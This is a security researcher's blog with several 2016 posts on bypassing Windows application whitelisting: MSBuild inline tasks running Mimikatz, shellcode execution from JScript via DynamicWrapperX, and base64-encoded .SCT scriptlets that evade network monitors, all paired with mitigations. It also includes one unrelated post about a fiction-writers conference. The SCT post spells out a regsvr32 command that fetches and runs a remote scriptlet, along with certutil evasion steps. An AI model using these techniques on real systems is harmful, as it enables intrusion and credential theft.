Tuesday, September 13, 2016

Bypassing Application Whitelisting using MSBuild.exe - Device Guard Example and Mitigations

I’ve said it before, but when you start down the road of Application Whitelisting, you need to take the extra steps to look at the functionality of the applications you are trusting, and see if they come with “extra features”.

By using signed Microsoft binaries, and injecting code into them, we effectively cloak our binaries so that they can execute, even under the watchful eye of Device Guard.

It is important to realize; this is a misplaced trust bypass.  The product works fine, in fact, you can even use Device Guard to mitigate against this bypass. See details below.

Device Guard is a new addition and is very effective at mitigating untrusted code. Please don’t mistake this bypass as a reason to dismiss this defense.  I highly recommend Device Guard to organizations.  For additional information, you can watch this talk:

In May of this year, I started looking into a way to bypass Device Guard. I like to start with default utilities that may be able to execute code as they are often implicitly trusted.  None of my previous AppLocker bypasses would work against Device Guard, so it was time to try something new.
 
I built up a base Windows 10 Enterprise Workstation.  An example Device Guard configuration can be found here by Matt Graeber (@mattifestation):


I found a Microsoft signed tool called MSBuild.exe. This is a default .NET utility that ships with Windows. I usually start with the question; ‘HOW could I get MSbuild to execute code for me?’.

Turns out, MSBuild.exe has a built in capability called “Inline Tasks”.  These are snippets of C# code that can be used to enrich the C# build process.  Essentially, what this does, is take an XML file, compile and execute in memory on the target, so it is not a traditional image/module execution event.

If you trust MSbuild on your system, or if it gets picked up in a “Gold” Image for Device Guard, it can be used to execute arbitrary binaries. 

Inline Task Reference:

So, I wrote a quick POC to make sure I could get my code to execute on the system, before going too far down the road.


Once I knew the code would execute via MSbuild.exe, I set out to wrap Mimikatz into a file to allow it to execute inside of MSBuild.exe. This wasn’t too hard, since I had done something like this for InstallUtil.exe last year.  I also wrote a utility to remove PowerShell Constrained Language mode, if needed.


Examples:  Tested on Windows 10 x64 Only - 
1.)   Hello World!
2.)   Remove Constrained Language Mode in PowerShell
3.)   Mimikatz Execute -
b.)   Note: This simply executes Mimikatz, it does NOT bypass Credential Guard.


Mitigations:
You will need to monitor execution of this tool in your environment. It is my belief, that you will likely not need this tool on devices that run Device Guard, but it will be up to you to monitor execution events to determine that.  Tools like Sysmon or even Device Guard in Audit Mode.
Also monitoring 4688 events

One documented mitigation solution using Device Guard is to follow the guidance in Matt’s blog reference below to be certain that untrustworthy binaries don’t execute.


Matt has also created a sample configuration to block these types of binaries.  This can be found here:



Here is what I have been trying to say for some time…"If you authorize things to run that that can then be used to run arbitrary code, then it can bypass many whitelisting applications. This means for a real lockdown administrators need to block these types of binaries.  MsBuild.exe being the latest in a growing list of default tools that behave this way."

If you find these types of files, help us catalog how they work and we can deploy proper mitigations. I will be posting these only when I have the vetted mitigation details ready for defenders.

Proof of Concept Video:  With Music ;-)


That’s all I have for today.


Cheers,


Casey
@subTee

Saturday, September 10, 2016

Now For Something A Bit Different...

I had the chance to attend a non-security conference this week.  It was the Rocky Mountain Fiction Writers Conference.  Thanks to my good friend Warren Hammond we presented on Hacking. 

“Advice? I don’t have advice. Stop aspiring and start writing. If you’re writing, you’re a writer. Write like you’re a goddamn death row inmate and the governor is out of the country and there’s no chance for a pardon. Write like you’re clinging to the edge of a cliff, white knuckles, on your last breath, and you’ve got just one last thing to say, like you’re a bird flying over us and you can see everything, and please, for God’s sake, tell us something that will save us from ourselves. Take a deep breath and tell us your deepest, darkest secret, so we can wipe our brow and know that we’re not alone. Write like you have a message from the king. Or don’t. Who knows, maybe you’re one of the lucky ones who doesn’t have to.” 


I love that quote and it makes me consider what I blog about some times, the tone and the content...

It was good for me to engage in conversations and dialogue COMPLETELY out of my normal infosec circles.  I had the chance to attend a session on "Weapon Systems Of The Future" For Science Fiction writers. 

I was struck by the conversation about how much imagination drives reality.

Here is a basic example:


I was struck with the idea, what are imagining for offense and defense.  What will our attacks and defense look like in 10-15-25 years.  

Its hard to know for sure. 

I just wonder what role does our ability to use our imagination and creativity to block/detect certain attacks.  It may not exist yet, but "What if IT DID."  And if so how could we build it...

So, I've created some space this weekend to do some imagining and brainstorming on attacks and defense.  

So far I've had 1 breakthrough on the Application Whitelisting front, I hope to be able to blog about soon.  I want to prove some ideas a bit first.  

Some classic reading for DFIR


Here are some things to consider...This article was written and published in 1988...

"The intruder conjured up no new methods for breaking operating systems; rather he repeatedly applied techniques documented elsewhere. Whenever possible, he used known security holes and subtle bugs in different operating systems..."

"By studying the printouts, we developed an understanding of what the intruder was looking for. We also compared activity on different dates in order to watch him learn a new system, and inferred sites he entered through pathways we could not monitor. We observed the intruder’s familiarity with various operating systems and became familiar with his programming style. Buried in this chatter were clues to the intruder’s location and persona, but we needed to temper inferences based on traffic analysis."

And Lastly...
"Perhaps no computer or network can be totally secure. This study suggests that any operating system will be insecure when obvious security rules are ignored. From the intruder’s widespread success, it appears that users, managers, and vendors routinely fail to use sound security practices. These problems are not limited to our site or the few dozen systems that we saw penetrated, but are networkwide. Lax system management makes patching utility software or tightening a few systems ineffective. 

We found this intruder to be a competent, patient programmer, experienced in several operating systems. Alas, some system managers violate their positions of trust and confidence. Our worldwide community of digital networks requires a sense of responsibility. Unfortunately, this is missing in some technically competent people."

So, this weekend I am reflecting back and forward a bit to see where it may lead ;-)

Anyway.  Hopefully this is interesting to you you.




Thats all I have for today.

Cheers,

Casey 
@subTee







Wednesday, September 7, 2016

Shellcode Via JScript / VBScript - Happening Now!

I recently came across a dll called DynamicWrapperX -


http://www.script-coding.com/dynwrapx_eng.html


This is an interesting dll, in that it advertises that you can execute win32 calls inside of Jscript / VBScript.  I cannot vouch for the trustworthiness of this dll.  Meaning, only install this in a test environment.  However, I can vouch that this dll gives you extraordinary access to the win32 API, plus other dlls on the system.


The documentation is a bit esoteric, but once you work through the details you can work out how to call any function.


Here is an example on calling a function to pop a MessageBox.


DX = new ActiveXObject("DynamicWrapperX");                  // Create an object instance.
DX.Register("user32.dll", "MessageBoxW", "i=hwwu", "r=l");  // Register a dll function.
res = DX.MessageBoxW(0, "Hello, world!", "Test", 4);        // Call the function.


Let's break that down.


0. Install dynwrapx.dll either for all or just one user, admin not required.
1. Instantiate the DX object
2. Register the user32.dll
a. Parameter Breakdown
b. dll name
c. function name
d. input parameter types
e. return value type
3. Execute the script file, with either regsvr32.exe , or cscript.exe


So if you look at the function MessageBoxW on MSDN you see this:


https://msdn.microsoft.com/en-us/library/windows/desktop/ms645505(v=vs.85).aspx


int WINAPI MessageBox(
 _In_opt_ HWND    hWnd,
 _In_opt_ LPCTSTR lpText,
 _In_opt_ LPCTSTR lpCaption,
 _In_     UINT    uType
);


You see that the return value of the function is int => l
hWnd => h
lpText => w
lpCaption => w
uType => u


These mappings are in the documentation.  You chain all that together and get the "i=hwwu" and the "r=l" inputs to the Register Function


So. I decided to see if I could get this thing to execute shell code.  

Yup!


Register 2 functions


VirtualAlloc, and CreateThread  Then leverage the built-in NumPut(Var, Address, [,offset], [,type] function to write your shellcode into memory.  High level steps are:


1. Allocate a Block of mem RWX via VirtualAlloc- The return of this is the base address of the allocation.
2. Loop through your shellcode and write each byte into the space allocated in step 1.
3. Call CreateThread


Sure enough it works perfectly.  The one caveat is that this will only execute x86 shellcode. So when you call regsvr32 or cscript against your script file, you need to call from syswow64 on an x64 system.  


Example SCT Here:
Example JS Here:
Example Dropper Fully Automated:  
^This last example downloads, registers dll, executes Shellcode.  Makes no effort to clean up.

Again, I did not write this dll, so I can only recommend you execute this in a test environment.


According to one researcher I spoke with, this is being used in the wild. So you may want to sweep your environment or logs for the hash. Unless, you have a need for your users to access win32 API this way, its probably not supposed to be there...


I also wanted to give a shout to b33f - @FuzzySec for the shellcode posts here:
This is a great blog all around.


Screen Shot 2016-08-31 at 1.57.05 PM.png

Thats all I have for today.

Cheers

Casey
@subTee

Tuesday, August 30, 2016

Advanced Use Case For .SCT Files



I was recently experimenting with some more advanced use cases for an .SCT file. In case you haven’t heard about .SCT files, they can instantiate COM objects backed by scripts, not a DLL.  
There is additional background here

http://thrysoee.dk/InsideCOM+/ch05e.htm

The default association for this extension is notepad. So one way to trigger execution remotely is to call regsvr32.exe /s /u /i:http:/server/file.sct scrobj.dll

I wanted to demonstrate how using a COM Scriptlet you could perhaps, circumvent, tools that monitor executables on the wire.  There are many tools that attempt to extract binaries from the network and execute or analyze them in a sandbox.  
Examples of these types of tools include, BRO Network Security Monitor, https://www.bro.org/sphinx/script-reference/file-analyzers.html
Even some vendor products like FireEye, Cisco, and others. include the ability to pull binaries off the wire and analyze them.  So in this situation, the base64 encoded and/or obfuscated file can slip past the network monitor tools.

This example I create is very basic, I only Base64 encode the file with a native tool, certutil.exe.  One can imagine adding an elementary obfuscation to the Base64 text, or decryption routine.

Here are the steps to reproduce this example.

1.     Create a DLL, the example I used can be found here:
b.     This is a dll with multiple bypass techniques embedded
c.     It uses the excellent Unmanaged Export VS Package https://www.nuget.org/packages/UnmanagedExports 

2.     Encode/Prepare the DLL with certutil.exe
a.     Certutil.exe will encode/decode ANY file on disk.
b.     This way, when we write the file to disk, we use certutil.exe instead of regsvr32 writing the DLL. This helps delay detection by tools that log/monitor PE file writes to disk. So defenders… Watch for certutil.exe writing a PE file...
c.     I started to write a Base64 routine in JS, and gave up… Why bother, when you have a native tool that will happily decode any file, even if it is NOT a certificate.

3.     Embed the output into the .SCT file
a.     You will need to append the line continuation “\” to each line. Easy enough to do…

4.     Host the .sct file on a web server somewhere.

5.     On the target, execute regsvr32.exe /s /u /i:http:/server/file.sct scrobj.dll
a.     How you gain execution is up to you, this is a post-exploitation tactic.

Full working prototype is documented here:

This brings up an important concept with regards to a layered approach and Application Whitelisting. If a file can circumvent an on the wire monitoring tool, and lands on the host...a whitelisting approach should still prevent execution.

It has been my experience that many organizations that deploy whitelisting, do NOT incorporate DLL whitelisting.  This is available in AppLocker, and while it takes considerable effort to dial this in, it goes a long way in preventing unwanted DLL’s from being executed on your system, by trusted applications.  This style of attack is blocked with a standard Device Guard enabled system. Device Guard by default blocks all unapproved, drivers, EXE, DLL, and scripts.

References:  

Device Guard Deployment Guide: Available on Windows 10 Enterprise

Here are some additional references for mitigation of the regsvr32 style execution.
Using EMET:

Using CarbonBlack:

Please send me any other mitigations you have found that work, and I can post them here.  For example someone mentioned to me monitoring the command line for a url.  I don’t have any specifics on that, but that would be solid detection, if you centrally collected Sysmon logs for example.

Thats all I have for now.

                         
                           

As always, Feedback Welcome.


Cheers,

Casey
@subTee